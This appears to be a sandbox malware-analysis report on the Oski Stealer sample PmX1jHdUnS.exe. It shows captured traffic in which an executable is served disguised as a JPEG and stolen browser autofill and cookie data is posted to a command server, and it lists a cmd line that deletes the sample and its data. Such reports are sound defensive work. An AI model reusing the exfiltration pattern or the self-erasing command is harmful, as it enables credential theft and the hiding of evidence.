Nov 3, 2023 18:53:44.636173964 CET	3156	IN	HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:44 GMT Server: Apache Last-Modified: Thu, 06 Jun 2019 19:02:02 GMT Accept-Ranges: bytes Content-Length: 83784 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 01 f9 a3 4e 45 98 cd 1d 45 98 cd 1d 45 98 cd 1d f1 04 22 1d 47 98 cd 1d 4c e0 5e 1d 4e 98 cd 1d 45 98 cc 1d 6c 98 cd 1d 9c fa c9 1c 55 98 cd 1d 9c fa ce 1c 56 98 cd 1d 9c fa c8 1c 41 98 cd 1d 9c fa c5 1c 5f 98 cd 1d 9c fa cd 1c 44 98 cd 1d 9c fa 32 1d 44 98 cd 1d 9c fa cf 1c 44 98 cd 1d 52 69 63 68 45 98 cd 1d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0c 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 00 00 00 20 00 00 00 00 00 00 00 ae 00 00 00 10 00 00 00 00 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 40 01 00 00 04 00 00 bc 11 02 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 b0 f0 00 00 14 09 00 00 c0 10 01 00 8c 00 00 00 00 20 01 00 08 04 00 00 00 00 00 00 00 00 00 00 00 08 01 00 48 3f 00 00 00 30 01 00 94 0a 00 00 b0 1f 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 1f 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 bc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 c4 e9 00 00 00 10 00 00 00 ea 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 06 00 00 00 00 01 00 00 02 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 b8 05 00 00 00 10 01 00 00 06 00 00 00 f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 08 04 00 00 00 20 01 00 00 06 00 00 00 f6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 0a 00 00 00 30 01 00 00 0c 00 00 00 fc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 26 00 00 00 d0 26 00 00 01 f0 26 00 00 00 90 27 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$NEEE"GL^NElUVA_D2DDRichEPEL8'Y"! @@A H?08@.text `.dataD@.idata@@.rsrc @@.reloc0@Bp&&&'
Nov 3, 2023 18:53:45.180751085 CET	3244	OUT	POST /os//main.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 25 Host: 9enternecera.ru.com Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 2d 2d 0d 0a Data Ascii: --1BEF0A57BE110FD467A--
Nov 3, 2023 18:53:45.378278971 CET	3244	IN	HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:45 GMT Server: Apache Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 3, 2023 18:53:45.603141069 CET	3245	OUT	POST /os/ HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Content-Type: multipart/form-data; boundary=1BEF0A57BE110FD467A Content-Length: 75007 Host: 9enternecera.ru.com Connection: Keep-Alive Cache-Control: no-cache
Nov 3, 2023 18:53:45.603141069 CET	3260	OUT	Data Raw: 2d 2d 31 42 45 46 30 41 35 37 42 45 31 31 30 46 44 34 36 37 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 5f 33 35 39 Data Ascii: --1BEF0A57BE110FD467AContent-Disposition: form-data; name="file"; filename="_3595724877.zip"Content-Type: zipPKcW"autofill/Google Chrome_Default.txtUT3Ee3Ee3EePKcW#autofill/Micr
Nov 3, 2023 18:53:45.777539015 CET	3264	OUT	Data Raw: cf 2b 0b 9a e2 be 2f c0 1d 9a 2d a9 f4 ea e2 9e 57 2b ce f0 31 8b da c0 5c 78 35 e1 e6 cb a6 59 48 41 9f c1 cc 05 22 60 cc 08 5d 7d 57 5e 51 fb 3d ab dc dc ac eb f2 86 7a dc 2b 06 e7 84 e7 84 7c 03 ab f7 84 77 8b 82 30 8b f9 f9 a0 45 9b 99 b1 31 Data Ascii: +/-W+1\x5YHA"`]}W^Q=z+\|w0E1\|oHQ%?/4qlKj?s3o3[rmW?xG#MSojoZ;an][Dbtp&xc^^.bxS~)j
Nov 3, 2023 18:53:45.779149055 CET	3269	OUT	Data Raw: 27 22 e0 2d 17 5b 72 ad 4e 0e 5c 2a 38 5e fa 63 bf b5 75 92 ee 94 49 4a 77 4a 1d fa a8 e9 84 90 91 53 29 47 8f a9 38 9e a9 b1 22 68 42 9e 35 28 4c 4c 2c e8 ef 9a 7e 1d d2 45 0d 71 48 b6 51 76 5d b8 20 e0 e4 f1 49 76 6e 6a 64 62 e9 2e cf 0f c9 9e Data Ascii: '"-[rN\*8^cuIJwJS)G8"hB5(LL,~EqHQv] Ivnjdb.Cruv"%:#k[,y2v>onFzktWFf6z<k=UiQ"i/vqvmC24^kYL\0Dv+QAb[_w
Nov 3, 2023 18:53:45.779510975 CET	3277	OUT	Data Raw: f9 d1 cf 21 c6 a5 a4 21 ff 90 8b 91 15 26 66 9c c3 62 4b 1a 88 99 7a 9a f0 82 83 b7 2a 65 59 f6 77 64 0a a4 06 8a 4f 45 b9 c4 2e 0a 8a 6a d6 85 ed f5 45 e0 77 b2 03 47 9d 21 d6 e9 6a 98 ab 70 46 b6 c9 88 47 4b ca 70 ed c6 5b e0 70 89 4d d5 c1 87 Data Ascii: !!&fbKz*eYwdOE.jEwG!jpFGKp[pMBuZ9}&Zc^PUbjBL,\0f$z2T3j=.SD).5!2/\$I'El+o0Ra? ul
Nov 3, 2023 18:53:45.779546022 CET	3287	OUT	Data Raw: 44 a1 8b 37 6c 68 49 6d 38 61 07 b4 dc 0c cb 85 49 f9 2e 8f 1b d6 a2 a7 ed 57 f4 be 77 0b 1b 1f 6e 10 22 bd bd d6 fe a2 f6 b9 a9 79 76 cb 10 d2 2c f9 a6 cd 85 e9 62 7f 28 53 47 74 b9 f5 46 6b 05 5b 03 54 86 c4 09 7e 85 7f c3 8a 57 3e f2 67 e5 86 Data Ascii: D7lhIm8aI.Wwn"yv,b(SGtFk[T~W>gk<~_78&:Y2)?UPQQ{"G>ml,p1r6HIU}r}\Avthn0HjF\|{6
Nov 3, 2023 18:53:45.781092882 CET	3292	OUT	Data Raw: 45 c4 a8 64 f1 c8 e4 3e 82 0a 2e 91 d9 40 d7 04 27 67 d9 9f 6b a2 4f 9b 5c 54 f4 ac ce a2 12 c3 3a a7 5e c6 9e 6f b8 42 f5 bd 0b da f9 43 c1 13 69 40 ee 5c 63 e6 b3 2c 85 18 dc eb 34 f0 53 bd da a1 c0 d7 3d 1d 62 50 8d e2 49 a8 e3 7f fa 62 28 4b Data Ascii: Ed>.@'gkO\T:^oBCi@\c,4S=bPIb(KH6})>q'J[s(cMmxDF({sJor;tzV#MkHU.wprKuaYXR0_e{_="zen}[V])?6s
Nov 3, 2023 18:53:45.944987059 CET	3297	OUT	Data Raw: f2 d8 3f de 6b 4c 7d 67 1a 0b 30 be ff ce 3f 79 b7 88 db 76 68 bc 3f 69 a0 39 f6 61 54 b8 ad 12 d2 64 60 c2 5a 53 73 f4 52 b9 d0 fd eb ed 98 76 9b c7 42 77 7b de 76 92 5e 29 37 0a fa f0 e2 cb cc e8 1a ee f6 87 82 92 9c 45 2b 53 b3 8f e6 26 b9 45 Data Ascii: ?kL}g0?yvh?i9aTd`ZSsRvBw{v^)7E+S&EZ_;u-gtgL9"u*LG]r>BY)ALG\%/Pe5}fclZ4T39-WDM+cb.a6y
Nov 3, 2023 18:53:45.946841002 CET	3302	OUT	Data Raw: da 87 75 b1 c1 bd 47 e9 7e e0 7a 0e 40 1f 01 2d 91 28 c1 ff e1 e2 d6 d2 fa 87 6e 10 3c 7a b4 8c 95 94 d1 f0 43 cc 66 f8 d1 a2 a6 ea fe 03 8b 78 04 a1 73 c8 10 42 cc 01 4a 85 69 31 1c ba e3 08 1c cb c5 91 5a 16 e0 27 0e 02 3f 18 17 f4 8f 98 b9 4e Data Ascii: uG~z@-(n<zCfxsBJi1Z'?NDM.Y7ZVX aaa5e2L2W4Nc:zNW\|Q"pY."Vbr5Kr*/;c&$xF%yh%vI5t,2s1Z{FM[
Nov 3, 2023 18:53:45.947885990 CET	3310	OUT	Data Raw: 52 b6 62 9b 6d 22 14 7d d5 66 90 54 16 a2 86 1d 65 a9 94 1f f9 1a 2c ad 23 dc e8 48 fd 22 15 65 1f 97 b5 15 96 a7 75 fd 69 4f f7 4f 37 39 da d9 21 4f 1f 57 a7 09 65 57 83 cf e6 3d 93 82 ca 8f 63 4a 97 26 e8 b6 1a 7c 35 c3 0a 5b 4e df 65 f2 5a 5f Data Ascii: Rbm"}fTe,#H"euiOO79!OWeW=cJ&\|5[NeZ__gHemuP4lA`kgG=(Bu&oKF^WeXJ5XtW?~#9o`jNT8[bk0M32Np50yNgd~i&Tn4@+uC3
Nov 3, 2023 18:53:45.955430984 CET	3319	OUT	Data Raw: f7 68 1c 2f 8f 9f 14 e9 84 7b b4 09 2a 59 ef 5e 13 cd 3d 25 50 78 23 2d bf e5 c5 78 89 65 bb b1 cb 63 02 b7 ce 33 29 b8 36 c6 80 e9 b5 9e c4 13 b7 ae 8f aa e1 75 66 67 5e 66 f4 67 df e3 0e 0f e1 17 2a f3 7c 28 0b 4b a5 df 53 33 9c 8b fa f8 14 0f Data Ascii: h/{Y^=%Px#-xec3)6ufg^fg\|(KS3\a8UjKm%?zZ<gUyM~}y"gn>03hqZ[bCVLI~ZW7=<&Cfqw@^w&TEp2q=\|7TH?w
Nov 3, 2023 18:53:46.198410034 CET	3320	IN	HTTP/1.1 200 OK Date: Fri, 03 Nov 2023 17:53:45 GMT Server: Apache Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	18:53:40
Start date:	03/11/2023
Path:	C:\Users\user\Desktop\PmX1jHdUnS.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\PmX1jHdUnS.exe
Imagebase:	0x4f0000
File size:	204'800 bytes
MD5 hash:	95C729597254D7D13131A1D787EE8672
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_OskiStealer_a158b1e3, Description: unknown, Source: 00000000.00000002.1299679239.0000000000517000.00000002.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Oski_1, Description: Yara detected Oski Stealer, Source: 00000000.00000002.1300340607.0000000002AB5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_OskiStealer_a158b1e3, Description: unknown, Source: 00000000.00000000.1241608281.0000000000517000.00000002.00000001.01000000.00000003.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	18:53:46
Start date:	03/11/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /pid 7776 & erase C:\Users\user\Desktop\PmX1jHdUnS.exe & RD /S /Q C:\\ProgramData\\359572487740756\\* & exit
Imagebase:	0xd70000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	18:53:46
Start date:	03/11/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff620390000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	18:53:46
Start date:	03/11/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /pid 7776
Imagebase:	0xd40000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report PmX1jHdUnS.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Oski

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\359572487740756\_3595724877.zip

C:\ProgramData\359572487740756\cookies\Google Chrome_Network.txt

C:\ProgramData\359572487740756\screenshot.jpg

C:\ProgramData\359572487740756\system.txt

C:\ProgramData\359572487740756\temp

C:\ProgramData\359572487740756\temp-shm

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\sqlite3.dll

C:\ProgramData\vcruntime140.dll

Windows Analysis Report
PmX1jHdUnS.exe